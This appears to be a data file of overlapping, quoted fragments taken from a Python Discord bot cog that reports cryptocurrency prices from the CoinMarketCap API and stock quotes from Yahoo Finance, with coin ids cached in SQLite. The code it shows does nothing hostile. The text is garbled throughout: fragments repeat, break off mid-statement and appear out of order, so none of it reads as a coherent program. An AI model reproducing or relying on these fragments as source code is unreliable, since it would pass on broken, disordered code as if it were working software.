"not coin['cvtto']: cvtval = '' if coin['cvtto'] == \"bitcoin\": #api",
"self.ffstr(float(data['price_btc']) * coin['qty']) coin['cvtto'] = \"BTC\" else: pUSD = data['price_usd']",
"ffstr(self, number): return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async def parse_coinline(self, line): coinqty =",
"\"NZD\", \"PHP\", \"PKR\", \"PLN\", \"RUB\", \"SEK\", \"SGD\", \"THB\", \"TRY\", \"TWD\",",
"'coins' ('symbol' TEXT, 'coinid' TEXT UNIQUE ON CONFLICT REPLACE, 'name'",
"\" in line: coin, cvtto = line.split(\" in \") elif",
"float(pUSD) * coin['qty'] output = \"{} {} : ${:.2f}\".format(coin['qty'], cid,",
"\" to \" in line: if \" in \" in",
"like = \"%{}%\".format(coin) result = cursor.execute(\"SELECT coinid FROM coins WHERE",
"= coin['id'].lower() name = coin['name'].lower() cursor.execute(\"insert into coins values (?,",
"type='table' AND name='coins';\").fetchone() if not result: cursor.execute(\"CREATE TABLE 'coins' ('symbol'",
"ctx.send(f\"Failed to look up {coin['cvtto']}\") return if coin['qty'] == 1:",
"with self.bot.session.get(url) as resp: data = await resp.json() for coin",
"finalprice) if output: await ctx.send(output) async def convert_coin(self, coin, data):",
"change: {}% | 24-hour change: {}%\".format(cid, name, cvtval, coin['cvtto'].upper(), pUSD,",
"= await self.findcoin(coin) if not coinid: return None return {'coin':",
"cvtto = \"\" if \" in \" in line or",
"'cvtto': cvtto} async def findcoin(self, coin): conn = sqlite3.connect(\"coins.sqlite3\") cursor",
": ${:.2f}\".format(coin['qty'], cid, finalprice) if output: await ctx.send(output) async def",
"data['marketState']): pdu = \"\\N{CHART WITH UPWARDS TREND}\" if data['postMarketChange'] >",
"resp: tojson = await resp.json() coin['cvtto'] = tojson[0]['symbol'].upper() toval =",
"`2 BTC in ETH` or `ETH in CAD`\"\"\" coin =",
"({})'.format(data['shortName']) if 'shortName' in data else '' outstr = outstr.format(data['symbol'],",
"= \"\" if coin.get('cvtto', ''): cvtval = await self.convert_coin(coin, data)",
"such as Bitcoin Optionally specify a quantity such as `0.6",
"return None return {'coin': coinid, 'qty': coinqty, 'currency': curr, 'cvtto':",
"coin['qty']) else: if not coin['cvtto']: cvtval = '' if coin['cvtto']",
"\" in line: coin, cvtto = line.split(\" to \") coinid",
"(data['marketState'] == \"CLOSED\" or \"POST\" in data['marketState']): pdu = \"\\N{CHART",
"data['percent_change_1h'] output = \"\" if coin.get('cvtto', ''): cvtval = await",
"values (?, ?, ?)\", (sym,cid,name)) conn.commit() conn.close() @commands.command(aliases=['stonks', 'stocks']) async",
"as resp: data = await resp.json() data = data[0] cid",
"us BTC by default cvtval = self.ffstr(float(data['price_btc']) * coin['qty']) coin['cvtto']",
"= data['percent_change_1h'] output = \"\" if coin.get('cvtto', ''): cvtval =",
"pUSD = data['price_usd'] url = \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async with self.bot.session.get(url) as",
"= \"BTC\" else: pUSD = data['price_usd'] url = \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async",
"data) if not cvtval: await ctx.send(f\"Failed to look up {coin['cvtto']}\")",
"= line.split(\" to \") coinid = await self.findcoin(coin) if cvtto.upper()",
"\") elif \" to \" in line: coin, cvtto =",
"{:.2f} - Change: {:.2f} {}\".format(data['postMarketPrice'], data['postMarketChange'], pdu) await ctx.send(html.unescape(outstr)) def",
"def coin(self, ctx, *, line: str): \"\"\"Look up a cryptocurrency",
"cvtto = line.split(\" in \") elif \" to \" in",
"= sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result = cursor.execute(\"SELECT coinid FROM",
"{} : ${:.2f}\".format(coin['qty'], cid, finalprice) if output: await ctx.send(output) async",
"conn.cursor() result = cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND",
"\"DKK\", \"EUR\", \"GBP\", \"HKD\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"JPY\", \"KRW\",",
"coin {line}\") return url = f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async with self.bot.session.get(url) as",
"else: if not coin['cvtto']: cvtval = '' if coin['cvtto'] ==",
"\"PLN\", \"RUB\", \"SEK\", \"SGD\", \"THB\", \"TRY\", \"TWD\", \"ZAR\"] class Finance(commands.Cog):",
"await resp.json() data = data[\"quoteResponse\"][\"result\"][0] downup = \"\\N{CHART WITH UPWARDS",
":: After Hours: {:.2f} - Change: {:.2f} {}\".format(data['postMarketPrice'], data['postMarketChange'], pdu)",
"or \"POST\" in data['marketState']): pdu = \"\\N{CHART WITH UPWARDS TREND}\"",
"= f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async with self.bot.session.get(url) as resp: data = await",
"* coin['qty'] output = \"{} {} : ${:.2f}\".format(coin['qty'], cid, finalprice)",
"ETH` Optionally specify a conversion value such as `2 BTC",
"TEXT UNIQUE ON CONFLICT REPLACE, 'name' TEXT);\") conn.commit() url =",
"DOWNWARDS TREND}\" outstr = \"{}{}: {} {} :: Today's change:",
"look up {coin['cvtto']}\") return if coin['qty'] == 1: output =",
"urllib.parse import quote as uriquote import html CURR = [\"AUD\",",
"\"CLOSED\" or \"POST\" in data['marketState']): pdu = \"\\N{CHART WITH UPWARDS",
"float(data['regularMarketChange']), float(data['regularMarketChangePercent']), downup) if 'postMarketPrice' in data and (data['marketState'] ==",
"UNIQUE ON CONFLICT REPLACE, 'name' TEXT);\") conn.commit() url = \"https://api.coinmarketcap.com/v1/ticker/?limit=0\"",
"WITH DOWNWARDS TREND}\" outstr = \"{}{}: {} {} :: Today's",
"Value: {} {} (${} USD) | 1-hour change: {}% |",
"\"{}{}: {} {} :: Today's change: {:.2f} ({:.2f}%) {}\" longn",
"Hours: {:.2f} - Change: {:.2f} {}\".format(data['postMarketPrice'], data['postMarketChange'], pdu) await ctx.send(html.unescape(outstr))",
"coin = await self.parse_coinline(line) if not coin: await ctx.send(f\"Unable to",
"conversion value such as `2 BTC in ETH` or `ETH",
"USD) | 1-hour change: {}% | 24-hour change: {}%\".format(cid, name,",
"await ctx.send(f\"Unable to find coin {line}\") return url = f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\"",
"to \" in line: if \" in \" in line:",
"return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async def parse_coinline(self, line): coinqty = 1 qtycheck",
"= await self.parse_coinline(line) if not coin: await ctx.send(f\"Unable to find",
"= outstr.format(data['symbol'], longn, data['regularMarketPrice'], data['currency'], float(data['regularMarketChange']), float(data['regularMarketChangePercent']), downup) if 'postMarketPrice'",
"{} {} :: Today's change: {:.2f} ({:.2f}%) {}\" longn =",
"= await self.findcoin(coin) if cvtto.upper() in CURR: curr = \"?convert={}\".format(cvtto)",
"* coin['qty'] output = \"{} {} : {} {} (${:.2f}",
"in data['marketState']): pdu = \"\\N{CHART WITH UPWARDS TREND}\" if data['postMarketChange']",
"coinqty, 'currency': curr, 'cvtto': cvtto} async def findcoin(self, coin): conn",
"resp.json() data = data[\"quoteResponse\"][\"result\"][0] downup = \"\\N{CHART WITH UPWARDS TREND}\"",
"symbol = \"\" url = f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async with self.bot.session.get(url) as",
"with self.bot.session.get(url) as resp: tojson = await resp.json() coin['cvtto'] =",
"WITH DOWNWARDS TREND}\" outstr += \" :: After Hours: {:.2f}",
"to look up {coin['cvtto']}\") return if coin['qty'] == 1: output",
"cvtval, coin['cvtto'].upper(), pUSD, pC1, pC24) else: usdfinal = float(pUSD) *",
"result = cursor.execute(\"SELECT coinid FROM coins WHERE coinid = (?)",
"self.bot.session.get(url) as resp: tojson = await resp.json() coin['cvtto'] = tojson[0]['symbol'].upper()",
"{}% | 24-hour change: {}%\".format(cid, name, pUSD, pC1, pC24) else:",
"async with self.bot.session.get(url) as resp: data = await resp.json() symbol",
"self.bot.session.get(url) as resp: data = await resp.json() symbol = data['ResultSet']['Result'][0]['symbol']",
"(?, ?, ?)\", (sym,cid,name)) conn.commit() conn.close() @commands.command(aliases=['stonks', 'stocks']) async def",
"\"MYR\", \"NOK\", \"NZD\", \"PHP\", \"PKR\", \"PLN\", \"RUB\", \"SEK\", \"SGD\", \"THB\",",
"ON CONFLICT REPLACE, 'name' TEXT);\") conn.commit() url = \"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async",
"= \"{}{}: {} {} :: Today's change: {:.2f} ({:.2f}%) {}\"",
"async with self.bot.session.get(url) as resp: data = await resp.json() data",
"data['regularMarketPrice'], data['currency'], float(data['regularMarketChange']), float(data['regularMarketChangePercent']), downup) if 'postMarketPrice' in data and",
"float(data['regularMarketChangePercent']), downup) if 'postMarketPrice' in data and (data['marketState'] == \"CLOSED\"",
"if not result: like = \"%{}%\".format(coin) result = cursor.execute(\"SELECT coinid",
"@commands.command(aliases=['stonks', 'stocks']) async def stock (self, ctx, name: str): \"\"\"Look",
"such as `0.6 ETH` Optionally specify a conversion value such",
"in \" in line: coin, cvtto = line.split(\" in \")",
"\"SEK\", \"SGD\", \"THB\", \"TRY\", \"TWD\", \"ZAR\"] class Finance(commands.Cog): def __init__(self,",
"0 else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr += \" ::",
"coin['qty'] == 1: output = \"{} {} | Value: {}",
"| Value: {} {} (${} USD) | 1-hour change: {}%",
"async def coin(self, ctx, *, line: str): \"\"\"Look up a",
"up a stock and show its current price, change, etc\"\"\"",
"if not cvtval: await ctx.send(f\"Failed to look up {coin['cvtto']}\") return",
": {} {} (${:.2f} USD)\".format(coin['qty'], cid, cvtval, coin['cvtto'].upper(), usdfinal) else:",
"stonk named `{name}`\") return url = f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async with self.bot.session.get(url)",
"return if coin['qty'] == 1: output = \"{} {} |",
"def convert_coin(self, coin, data): if coin['currency']: cvtval = \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) *",
"coin['cvtto'].upper(), usdfinal) else: if coin['qty'] == 1: output = \"{}",
"* coin['qty']) coin['cvtto'] = \"BTC\" else: pUSD = data['price_usd'] url",
"f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async with self.bot.session.get(url) as resp: data = await resp.json()",
"\"EUR\", \"GBP\", \"HKD\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"JPY\", \"KRW\", \"MXN\",",
"coin(self, ctx, *, line: str): \"\"\"Look up a cryptocurrency such",
"ETH` or `ETH in CAD`\"\"\" coin = await self.parse_coinline(line) if",
"TEXT);\") conn.commit() url = \"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async with self.bot.session.get(url) as resp:",
"parse_coinline(self, line): coinqty = 1 qtycheck = re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line) if",
"async with self.bot.session.get(url) as resp: data = await resp.json() for",
"cvtval def ffstr(self, number): return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async def parse_coinline(self, line):",
"coin['currency']: cvtval = \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) * coin['qty']) else: if not coin['cvtto']:",
"(?)\", [like]).fetchone() if result: return result[0] @commands.command(hidden=True) @commands.is_owner() async def",
"= data[0] cid = data['symbol'].upper() name = data['name'] pUSD =",
"newcoins(self, ctx): conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result =",
"ctx.send(f\"Unable to find a stonk named `{name}`\") return url =",
"{:.2f} ({:.2f}%) {}\" longn = ' ({})'.format(data['shortName']) if 'shortName' in",
"self.bot.session.get(url) as resp: data = await resp.json() for coin in",
"\"KRW\", \"MXN\", \"MYR\", \"NOK\", \"NZD\", \"PHP\", \"PKR\", \"PLN\", \"RUB\", \"SEK\",",
"value such as `2 BTC in ETH` or `ETH in",
"= data['percent_change_24h'] pC1 = data['percent_change_1h'] output = \"\" if coin.get('cvtto',",
"= line.split(\" in \") elif \" to \" in line:",
"BTC in ETH` or `ETH in CAD`\"\"\" coin = await",
"toval) return cvtval def ffstr(self, number): return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async def",
"\"CHF\", \"CLP\", \"CNY\", \"CZK\", \"DKK\", \"EUR\", \"GBP\", \"HKD\", \"HUF\", \"IDR\",",
"= float(qtycheck.group(1)) line = qtycheck.group(3).strip() curr = \"\" cvtto =",
"'qty': coinqty, 'currency': curr, 'cvtto': cvtto} async def findcoin(self, coin):",
"LIKE (?)\", [like]).fetchone() if result: return result[0] @commands.command(hidden=True) @commands.is_owner() async",
"= conn.cursor() result = cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table'",
"WHERE coinid = (?) OR symbol = (?)\", (coin, coin)).fetchone()",
"= [\"AUD\", \"BRL\", \"CAD\", \"CHF\", \"CLP\", \"CNY\", \"CZK\", \"DKK\", \"EUR\",",
"'coinid' TEXT UNIQUE ON CONFLICT REPLACE, 'name' TEXT);\") conn.commit() url",
"cvtval = await self.convert_coin(coin, data) if not cvtval: await ctx.send(f\"Failed",
"a quantity such as `0.6 ETH` Optionally specify a conversion",
"(?)\", (coin, coin)).fetchone() if not result: like = \"%{}%\".format(coin) result",
"= coin['symbol'].lower() cid = coin['id'].lower() name = coin['name'].lower() cursor.execute(\"insert into",
"= line coinid = await self.findcoin(coin) if not coinid: return",
"= bot @commands.command() async def coin(self, ctx, *, line: str):",
"coin['qty']) / toval) return cvtval def ffstr(self, number): return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.')",
"stock (self, ctx, name: str): \"\"\"Look up a stock and",
"data = data[\"quoteResponse\"][\"result\"][0] downup = \"\\N{CHART WITH UPWARDS TREND}\" if",
"not coin: await ctx.send(f\"Unable to find coin {line}\") return url",
"cvtval = self.ffstr((float(pUSD) * coin['qty']) / toval) return cvtval def",
"self.bot = bot @commands.command() async def coin(self, ctx, *, line:",
"= float(pUSD) * coin['qty'] output = \"{} {} : ${:.2f}\".format(coin['qty'],",
"pUSD = data['price_usd'] pC24 = data['percent_change_24h'] pC1 = data['percent_change_1h'] output",
"resp: data = await resp.json() data = data[\"quoteResponse\"][\"result\"][0] downup =",
"url = \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async with self.bot.session.get(url) as resp: tojson =",
"else '' outstr = outstr.format(data['symbol'], longn, data['regularMarketPrice'], data['currency'], float(data['regularMarketChange']), float(data['regularMarketChangePercent']),",
"coin: await ctx.send(f\"Unable to find coin {line}\") return url =",
"sqlite_master WHERE type='table' AND name='coins';\").fetchone() if not result: cursor.execute(\"CREATE TABLE",
"{}\" longn = ' ({})'.format(data['shortName']) if 'shortName' in data else",
"data = data[0] cid = data['symbol'].upper() name = data['name'] pUSD",
"else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr += \" :: After",
"WHERE type='table' AND name='coins';\").fetchone() if not result: cursor.execute(\"CREATE TABLE 'coins'",
"1 qtycheck = re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line) if qtycheck: coinqty = float(qtycheck.group(1))",
"symbol = data['ResultSet']['Result'][0]['symbol'] if not symbol: await ctx.send(f\"Unable to find",
"downup = \"\\N{CHART WITH UPWARDS TREND}\" if data['regularMarketChange'] > 0",
"\"\\N{CHART WITH DOWNWARDS TREND}\" outstr += \" :: After Hours:",
"cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='coins';\").fetchone() if not",
"self.findcoin(coin) if cvtto.upper() in CURR: curr = \"?convert={}\".format(cvtto) else: cvtto",
"or \" to \" in line: if \" in \"",
"`ETH in CAD`\"\"\" coin = await self.parse_coinline(line) if not coin:",
"\") coinid = await self.findcoin(coin) if cvtto.upper() in CURR: curr",
"pUSD, pC1, pC24) else: usdfinal = float(pUSD) * coin['qty'] output",
"\"POST\" in data['marketState']): pdu = \"\\N{CHART WITH UPWARDS TREND}\" if",
"== \"CLOSED\" or \"POST\" in data['marketState']): pdu = \"\\N{CHART WITH",
"import commands import re import sqlite3 from urllib.parse import quote",
"if not coin: await ctx.send(f\"Unable to find coin {line}\") return",
"TREND}\" if data['regularMarketChange'] > 0 else \"\\N{CHART WITH DOWNWARDS TREND}\"",
"stock and show its current price, change, etc\"\"\" symbol =",
"if 'postMarketPrice' in data and (data['marketState'] == \"CLOSED\" or \"POST\"",
"if coin['cvtto'] == \"bitcoin\": #api gives us BTC by default",
"coin['cvtto'] == \"bitcoin\": #api gives us BTC by default cvtval",
"ctx.send(f\"Unable to find coin {line}\") return url = f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async",
"= conn.cursor() result = cursor.execute(\"SELECT coinid FROM coins WHERE coinid",
"= ' ({})'.format(data['shortName']) if 'shortName' in data else '' outstr",
"else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr = \"{}{}: {} {}",
"= float(pUSD) * coin['qty'] output = \"{} {} : {}",
"coins WHERE coinid = (?) OR symbol = (?)\", (coin,",
"if data['postMarketChange'] > 0 else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr",
"- Change: {:.2f} {}\".format(data['postMarketPrice'], data['postMarketChange'], pdu) await ctx.send(html.unescape(outstr)) def setup(bot):",
"= \"{} {} | Value: ${} | 1-hour change: {}%",
"bot): self.bot = bot @commands.command() async def coin(self, ctx, *,",
"f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async with self.bot.session.get(url) as resp: data = await resp.json()",
"await self.parse_coinline(line) if not coin: await ctx.send(f\"Unable to find coin",
"uriquote import html CURR = [\"AUD\", \"BRL\", \"CAD\", \"CHF\", \"CLP\",",
"coin, cvtto = line.split(\" to \") coinid = await self.findcoin(coin)",
"= qtycheck.group(3).strip() curr = \"\" cvtto = \"\" if \"",
"import discord from discord.ext import commands import re import sqlite3",
"{line}\") return url = f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async with self.bot.session.get(url) as resp:",
"\"SGD\", \"THB\", \"TRY\", \"TWD\", \"ZAR\"] class Finance(commands.Cog): def __init__(self, bot):",
"pdu = \"\\N{CHART WITH UPWARDS TREND}\" if data['postMarketChange'] > 0",
"pC24 = data['percent_change_24h'] pC1 = data['percent_change_1h'] output = \"\" if",
"conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result = cursor.execute(\"SELECT name",
"\"HKD\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"JPY\", \"KRW\", \"MXN\", \"MYR\", \"NOK\",",
"(${:.2f} USD)\".format(coin['qty'], cid, cvtval, coin['cvtto'].upper(), usdfinal) else: if coin['qty'] ==",
"in CAD`\"\"\" coin = await self.parse_coinline(line) if not coin: await",
"output = \"{} {} | Value: ${} | 1-hour change:",
"if output: await ctx.send(output) async def convert_coin(self, coin, data): if",
"sqlite3 from urllib.parse import quote as uriquote import html CURR",
"output = \"{} {} | Value: {} {} (${} USD)",
"= cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='coins';\").fetchone() if",
"> 0 else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr = \"{}{}:",
"coin, cvtto = line.split(\" in \") elif \" to \"",
"with self.bot.session.get(url) as resp: data = await resp.json() data =",
"data['symbol'].upper() name = data['name'] pUSD = data['price_usd'] pC24 = data['percent_change_24h']",
"import re import sqlite3 from urllib.parse import quote as uriquote",
"cid, finalprice) if output: await ctx.send(output) async def convert_coin(self, coin,",
"= \"\\N{CHART WITH UPWARDS TREND}\" if data['regularMarketChange'] > 0 else",
"\"bitcoin\": #api gives us BTC by default cvtval = self.ffstr(float(data['price_btc'])",
"to \" in line: coin, cvtto = line.split(\" to \")",
"coinid: return None return {'coin': coinid, 'qty': coinqty, 'currency': curr,",
"coin.get('cvtto', ''): cvtval = await self.convert_coin(coin, data) if not cvtval:",
"name, pUSD, pC1, pC24) else: finalprice = float(pUSD) * coin['qty']",
"TREND}\" if data['postMarketChange'] > 0 else \"\\N{CHART WITH DOWNWARDS TREND}\"",
"= '' if coin['cvtto'] == \"bitcoin\": #api gives us BTC",
"name = data['name'] pUSD = data['price_usd'] pC24 = data['percent_change_24h'] pC1",
"= \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async with self.bot.session.get(url) as resp: tojson = await",
"default cvtval = self.ffstr(float(data['price_btc']) * coin['qty']) coin['cvtto'] = \"BTC\" else:",
"'' if coin['cvtto'] == \"bitcoin\": #api gives us BTC by",
"data and (data['marketState'] == \"CLOSED\" or \"POST\" in data['marketState']): pdu",
"= tojson[0]['symbol'].upper() toval = float(tojson[0]['price_usd']) cvtval = self.ffstr((float(pUSD) * coin['qty'])",
"data['price_usd'] pC24 = data['percent_change_24h'] pC1 = data['percent_change_1h'] output = \"\"",
"{'coin': coinid, 'qty': coinqty, 'currency': curr, 'cvtto': cvtto} async def",
"quantity such as `0.6 ETH` Optionally specify a conversion value",
"specify a quantity such as `0.6 ETH` Optionally specify a",
"cid, cvtval, coin['cvtto'].upper(), usdfinal) else: if coin['qty'] == 1: output",
"tojson[0]['symbol'].upper() toval = float(tojson[0]['price_usd']) cvtval = self.ffstr((float(pUSD) * coin['qty']) /",
"return url = f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async with self.bot.session.get(url) as resp: data",
"else: cvtto = await self.findcoin(cvtto) else: coin = line coinid",
"coinid = await self.findcoin(coin) if not coinid: return None return",
"show its current price, change, etc\"\"\" symbol = \"\" url",
"import asyncio import discord from discord.ext import commands import re",
"= cursor.execute(\"SELECT coinid FROM coins WHERE coinid = (?) OR",
"`{name}`\") return url = f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async with self.bot.session.get(url) as resp:",
"qtycheck: coinqty = float(qtycheck.group(1)) line = qtycheck.group(3).strip() curr = \"\"",
"float(qtycheck.group(1)) line = qtycheck.group(3).strip() curr = \"\" cvtto = \"\"",
"async with self.bot.session.get(url) as resp: tojson = await resp.json() coin['cvtto']",
"result: cursor.execute(\"CREATE TABLE 'coins' ('symbol' TEXT, 'coinid' TEXT UNIQUE ON",
"= await resp.json() for coin in data: sym = coin['symbol'].lower()",
"coin['cvtto']: cvtval = '' if coin['cvtto'] == \"bitcoin\": #api gives",
"1-hour change: {}% | 24-hour change: {}%\".format(cid, name, cvtval, coin['cvtto'].upper(),",
"coinid = await self.findcoin(coin) if cvtto.upper() in CURR: curr =",
"= (?) OR symbol = (?)\", (coin, coin)).fetchone() if not",
"pUSD, pC1, pC24) else: finalprice = float(pUSD) * coin['qty'] output",
"name = coin['name'].lower() cursor.execute(\"insert into coins values (?, ?, ?)\",",
"= self.ffstr((float(pUSD) * coin['qty']) / toval) return cvtval def ffstr(self,",
"data['regularMarketChange'] > 0 else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr =",
"{}%\".format(cid, name, cvtval, coin['cvtto'].upper(), pUSD, pC1, pC24) else: usdfinal =",
"coins WHERE name LIKE (?)\", [like]).fetchone() if result: return result[0]",
"in data: sym = coin['symbol'].lower() cid = coin['id'].lower() name =",
"a stonk named `{name}`\") return url = f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async with",
"\"\"\"Look up a cryptocurrency such as Bitcoin Optionally specify a",
"= data['price_usd'] url = \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async with self.bot.session.get(url) as resp:",
"in line or \" to \" in line: if \"",
"cvtval = '' if coin['cvtto'] == \"bitcoin\": #api gives us",
"#api gives us BTC by default cvtval = self.ffstr(float(data['price_btc']) *",
"coinid = (?) OR symbol = (?)\", (coin, coin)).fetchone() if",
"data['ResultSet']['Result'][0]['symbol'] if not symbol: await ctx.send(f\"Unable to find a stonk",
"a cryptocurrency such as Bitcoin Optionally specify a quantity such",
"pC1, pC24) else: finalprice = float(pUSD) * coin['qty'] output =",
"coin['qty'] == 1: output = \"{} {} | Value: ${}",
"\"%{}%\".format(coin) result = cursor.execute(\"SELECT coinid FROM coins WHERE name LIKE",
"cvtval = \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) * coin['qty']) else: if not coin['cvtto']: cvtval",
"= await resp.json() data = data[0] cid = data['symbol'].upper() name",
"FROM sqlite_master WHERE type='table' AND name='coins';\").fetchone() if not result: cursor.execute(\"CREATE",
"result[0] @commands.command(hidden=True) @commands.is_owner() async def newcoins(self, ctx): conn = sqlite3.connect(\"coins.sqlite3\")",
"cursor.execute(\"insert into coins values (?, ?, ?)\", (sym,cid,name)) conn.commit() conn.close()",
"as Bitcoin Optionally specify a quantity such as `0.6 ETH`",
"else: usdfinal = float(pUSD) * coin['qty'] output = \"{} {}",
"\"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async with self.bot.session.get(url) as resp: data = await resp.json()",
"= await self.findcoin(cvtto) else: coin = line coinid = await",
"== \"bitcoin\": #api gives us BTC by default cvtval =",
"data[0] cid = data['symbol'].upper() name = data['name'] pUSD = data['price_usd']",
"name FROM sqlite_master WHERE type='table' AND name='coins';\").fetchone() if not result:",
"\"ZAR\"] class Finance(commands.Cog): def __init__(self, bot): self.bot = bot @commands.command()",
"Optionally specify a quantity such as `0.6 ETH` Optionally specify",
"WITH UPWARDS TREND}\" if data['regularMarketChange'] > 0 else \"\\N{CHART WITH",
"?, ?)\", (sym,cid,name)) conn.commit() conn.close() @commands.command(aliases=['stonks', 'stocks']) async def stock",
"\"MXN\", \"MYR\", \"NOK\", \"NZD\", \"PHP\", \"PKR\", \"PLN\", \"RUB\", \"SEK\", \"SGD\",",
"= \"{} {} : ${:.2f}\".format(coin['qty'], cid, finalprice) if output: await",
"coinqty = float(qtycheck.group(1)) line = qtycheck.group(3).strip() curr = \"\" cvtto",
"= await resp.json() data = data[\"quoteResponse\"][\"result\"][0] downup = \"\\N{CHART WITH",
"and show its current price, change, etc\"\"\" symbol = \"\"",
"\"HUF\", \"IDR\", \"ILS\", \"INR\", \"JPY\", \"KRW\", \"MXN\", \"MYR\", \"NOK\", \"NZD\",",
"`0.6 ETH` Optionally specify a conversion value such as `2",
"('symbol' TEXT, 'coinid' TEXT UNIQUE ON CONFLICT REPLACE, 'name' TEXT);\")",
"as resp: data = await resp.json() for coin in data:",
"resp: data = await resp.json() symbol = data['ResultSet']['Result'][0]['symbol'] if not",
"After Hours: {:.2f} - Change: {:.2f} {}\".format(data['postMarketPrice'], data['postMarketChange'], pdu) await",
"CURR = [\"AUD\", \"BRL\", \"CAD\", \"CHF\", \"CLP\", \"CNY\", \"CZK\", \"DKK\",",
"conn.commit() url = \"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async with self.bot.session.get(url) as resp: data",
"and (data['marketState'] == \"CLOSED\" or \"POST\" in data['marketState']): pdu =",
"if data['regularMarketChange'] > 0 else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr",
"def __init__(self, bot): self.bot = bot @commands.command() async def coin(self,",
"data = await resp.json() data = data[0] cid = data['symbol'].upper()",
"tojson = await resp.json() coin['cvtto'] = tojson[0]['symbol'].upper() toval = float(tojson[0]['price_usd'])",
"if coin['currency']: cvtval = \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) * coin['qty']) else: if not",
"await self.findcoin(coin) if cvtto.upper() in CURR: curr = \"?convert={}\".format(cvtto) else:",
"\"\" url = f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async with self.bot.session.get(url) as resp: data",
"a conversion value such as `2 BTC in ETH` or",
"FROM coins WHERE name LIKE (?)\", [like]).fetchone() if result: return",
"name='coins';\").fetchone() if not result: cursor.execute(\"CREATE TABLE 'coins' ('symbol' TEXT, 'coinid'",
"?)\", (sym,cid,name)) conn.commit() conn.close() @commands.command(aliases=['stonks', 'stocks']) async def stock (self,",
"\"\\N{CHART WITH UPWARDS TREND}\" if data['postMarketChange'] > 0 else \"\\N{CHART",
"async def stock (self, ctx, name: str): \"\"\"Look up a",
"BTC by default cvtval = self.ffstr(float(data['price_btc']) * coin['qty']) coin['cvtto'] =",
"CAD`\"\"\" coin = await self.parse_coinline(line) if not coin: await ctx.send(f\"Unable",
"= await resp.json() symbol = data['ResultSet']['Result'][0]['symbol'] if not symbol: await",
"data = await resp.json() data = data[\"quoteResponse\"][\"result\"][0] downup = \"\\N{CHART",
"line.split(\" in \") elif \" to \" in line: coin,",
"in \" in line or \" to \" in line:",
"\"JPY\", \"KRW\", \"MXN\", \"MYR\", \"NOK\", \"NZD\", \"PHP\", \"PKR\", \"PLN\", \"RUB\",",
"ctx, name: str): \"\"\"Look up a stock and show its",
"self.ffstr((float(pUSD) * coin['qty']) / toval) return cvtval def ffstr(self, number):",
"conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result = cursor.execute(\"SELECT coinid",
"else: pUSD = data['price_usd'] url = \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async with self.bot.session.get(url)",
"such as `2 BTC in ETH` or `ETH in CAD`\"\"\"",
"str): \"\"\"Look up a cryptocurrency such as Bitcoin Optionally specify",
"\"\" cvtto = \"\" if \" in \" in line",
"\"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) * coin['qty']) else: if not coin['cvtto']: cvtval = ''",
"\"PHP\", \"PKR\", \"PLN\", \"RUB\", \"SEK\", \"SGD\", \"THB\", \"TRY\", \"TWD\", \"ZAR\"]",
"import html CURR = [\"AUD\", \"BRL\", \"CAD\", \"CHF\", \"CLP\", \"CNY\",",
"await ctx.send(output) async def convert_coin(self, coin, data): if coin['currency']: cvtval",
